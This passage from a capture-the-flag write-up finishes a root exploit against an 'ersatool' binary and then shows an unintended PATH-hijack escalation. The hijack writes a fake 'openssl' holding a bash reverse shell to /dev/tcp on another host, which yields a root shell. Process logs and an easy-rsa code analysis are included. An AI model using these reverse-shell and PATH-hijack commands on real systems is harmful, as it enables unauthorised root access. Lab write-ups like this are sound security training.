One last snag was that /dev/shm
is mounted noexec
on pki, so I can execute out of there. I’ll switch to /tmp
in the script by changing that string.
I’ll open a third shell to web (one has www-data shell from pki which has socat
serving ersatool
, one has socat
tunneling from my host to pki), and start nc
listening on 4433.
Locally, I’ll run the script to target remove. It leaks the address, and then hangs:
oxdf@parrot$ python3 root.py REMOTE
[+] Opening connection to 172.20.0.10 on port 9001: Done
[+] Leaked EXT address: 0x000056253b35215f
[+] Calculated ERSA_DIR address: 0x000056253b3520f0
At the listener on web, there’s a shell:
www-data@web:~$ /tmp/nc -lnvp 4433
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4433
Ncat: Listening on 0.0.0.0:4433
Ncat: Connection from 192.168.254.3.
Ncat: Connection from 192.168.254.3:50426.
root@pki:/tmp# id
uid=0(root) gid=33(www-data) groups=33(www-data)
And root.txt
:
root@pki:/tmp# cat /root/root.txt
da5d9a75************************
Unintended Path Hijack
Enumeration
My favorite tool for watching processes on Linux is pspy. I’ll upload it to pki the same way I uploaded socat
above, and give it a run:
www-data@pki:/tmp$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2021/08/16 11:43:37 CMD: UID=33 PID=9 | nginx: worker process
2021/08/16 11:43:37 CMD: UID=0 PID=8 | nginx: master process nginx
2021/08/16 11:43:37 CMD: UID=0 PID=6 | /bin/bash /entry.sh
2021/08/16 11:43:37 CMD: UID=33 PID=495 | ./pspy
...[snip]...
Now I’ll request a cert using ?cn=0xdf
on the webpage:
2021/08/16 11:45:17 CMD: UID=33 PID=509 | sh -c /usr/bin/ersatool create 0xdf
2021/08/16 11:45:17 CMD: UID=33 PID=511 | /usr/bin/ersatool create 0xdf
2021/08/16 11:45:17 CMD: UID=33 PID=510 | /usr/bin/ersatool create 0xdf
2021/08/16 11:45:17 CMD: UID=0 PID=512 | sh -c /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=513 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=514 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`ChangeMe`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2021/08/16 11:45:17 CMD: UID=0 PID=515 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=516 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=517 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`0xdf`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2021/08/16 11:45:17 CMD: UID=0 PID=518 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`0xdf`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2021/08/16 11:45:17 CMD: UID=0 PID=521 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=522 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=523 | mv /opt/easyrsa/pki/reqs/0xdf.req.vFFvqaRuDG /opt/easyrsa/pki/reqs/0xdf.req
2021/08/16 11:45:17 CMD: UID=0 PID=524 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=525 | cat /opt/easyrsa/pki/serial
2021/08/16 11:45:17 CMD: UID=0 PID=526 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=527 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`0xdf`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2021/08/16 11:45:17 CMD: UID=0 PID=528 | openssl req -in /opt/easyrsa/pki/reqs/0xdf.req -noout
2021/08/16 11:45:17 CMD: UID=0 PID=529 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=530 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=531 | cat /opt/easyrsa/x509-types/COMMON
2021/08/16 11:45:17 CMD: UID=0 PID=532 | cat /opt/easyrsa/x509-types/client
2021/08/16 11:45:17 CMD: UID=0 PID=535 |
2021/08/16 11:45:17 CMD: UID=0 PID=534 | /bin/sh /opt/easyrsa/easyrsa build-client-full 0xdf nopass batch
2021/08/16 11:45:17 CMD: UID=0 PID=536 | sed -e s`ENV::EASYRSA`EASYRSA`g -e s`$dir`/opt/easyrsa/pki`g -e s`$EASYRSA_PKI`/opt/easyrsa/pki`g -e s`$EASYRSA_CERT_EXPIRE`36500`g -e s`$EASYRSA_CRL_DAYS`180`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_KEY_SIZE`2048`g -e s`$EASYRSA_DIGEST`sha256`g -e s`$EASYRSA_DN`cn_only`g -e s`$EASYRSA_REQ_COUNTRY`US`g -e s`$EASYRSA_REQ_PROVINCE`California`g -e s`$EASYRSA_REQ_CITY`San Francisco`g -e s`$EASYRSA_REQ_ORG`Copyleft Certificate Co`g -e s`$EASYRSA_REQ_OU`My Organizational Unit`g -e s`$EASYRSA_REQ_CN`0xdf`g -e s`$EASYRSA_REQ_EMAIL`me@example.net`g /opt/easyrsa/pki/openssl-easyrsa.cnf
2021/08/16 11:45:17 CMD: UID=0 PID=538 | openssl ca -utf8 -in /opt/easyrsa/pki/reqs/0xdf.req -out /opt/easyrsa/pki/issued/0xdf.crt.RPtfHT0Pbx -config /opt/easyrsa/pki/safessl-easyrsa.cnf -extfile /opt/easyrsa/pki/extensions.temp -days 36500 -batch
2021/08/16 11:45:17 CMD: UID=0 PID=539 | mv /opt/easyrsa/pki/issued/0xdf.crt.RPtfHT0Pbx /opt/easyrsa/pki/issued/0xdf.crt
With this, I can walk through all the steps that are being called in ersatool
, but the two lines that are most interesting are:
2021/08/16 11:45:17 CMD: UID=0 PID=528 | openssl req -in /opt/easyrsa/pki/reqs/0xdf.req -noout
2021/08/16 11:45:17 CMD: UID=0 PID=538 | openssl ca -utf8 -in /opt/easyrsa/pki/reqs/0xdf.req -out /opt/easyrsa/pki/issued/0xdf.crt.RPtfHT0Pbx -config /opt/easyrsa/pki/safessl-easyrsa.cnf -extfile /opt/easyrsa/pki/extensions.temp -days 36500 -batch
openssl
is being called without the full path.
Theory
I’ve shown path hijack exploits several times before. When a process calls another one without giving a full path, the current $PATH
variable is used to look for that binary. Unfortunately, that’s something that is set by the current session, and it is something the current user can set.
If I update the path in my current shell to include a folder I can write to before the legit folder containing openssl
, then the computer will check that folder first, and if I add a binary named openssl
, it will run instead of the legit one.
The path on pki is by default:
www-data@pki:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
But I can easily change that for my current shell to start with /tmp
:
www-data@pki:/tmp$ export PATH=/tmp:$PATH
www-data@pki:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Exploit
With a shell on pki, I’ll create a simple reverse shell script and save it as openssl
:
www-data@pki:/tmp$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.254.2/4433 0>&1' > openssl
www-data@pki:/tmp$ chmod +x openssl
With nc
listening on web, I’ll run ersatool
, and when I try to create
with any CN
, it hangs:
www-data@pki:/tmp$ ersatool
# create
create->CN=0xdf
That’s because at this point it’s trying to call openssl
, and it got my version instead of the real one. At nc
on web, there’s a root shell:
www-data@web:~$ /tmp/nc -lnvp 4433
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4433
Ncat: Listening on 0.0.0.0:4433
Ncat: Connection from 192.168.254.3.
Ncat: Connection from 192.168.254.3:45310.
root@pki:/opt/easyrsa# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Code
The version of easy-rsa on Static is 3.0.6, which is a couple years old:
root@pki:/opt/easyrsa# head ChangeLog
Easy-RSA 3 ChangeLog
3.0.6 (2019-02-01)
* Certificates that are revoked now move to a revoked subdirectory (#63)
* EasyRSA no longer clobbers non-EASYRSA environment variables (#277)
* More sane string checking, allowingn for commas in CN (#267)
* Support for reasonCode in CRL (#280)
* Better handling for capturing passphrases (#230, others)
* Improved LibreSSL/MacOS support
* Adds support to renew certificates up to 30 days before expiration (#286)
easy-rsa is open source, so I can poke at the code on GitHub to see how this works. I can look at either the 3.0.6 branch or the current master, as the issue is the same in both places. The easyrsa
that is called by ersatool
is a Bash script in the easyrsa3
folder on GitHub. At line 1710, the script sets a bunch of environment variables with set_var
, including on line 1712 where it sets EASYRSA_OPENSSL
to openssl
:
This variable is executed many times in the script. For example, in verify_ssl_lib
on lines 456-475:
On line 459, it runs:
val="$("$EASYRSA_OPENSSL" version)"
That will run $EASYRSA_OPENSSL version
in a subshell and save the result to $val
.
To fix this, the script would need to reference the openssl
binary with full path. I suspect they don’t do this because the location may vary on different hosts, and they don’t want to have to support checking each possible place.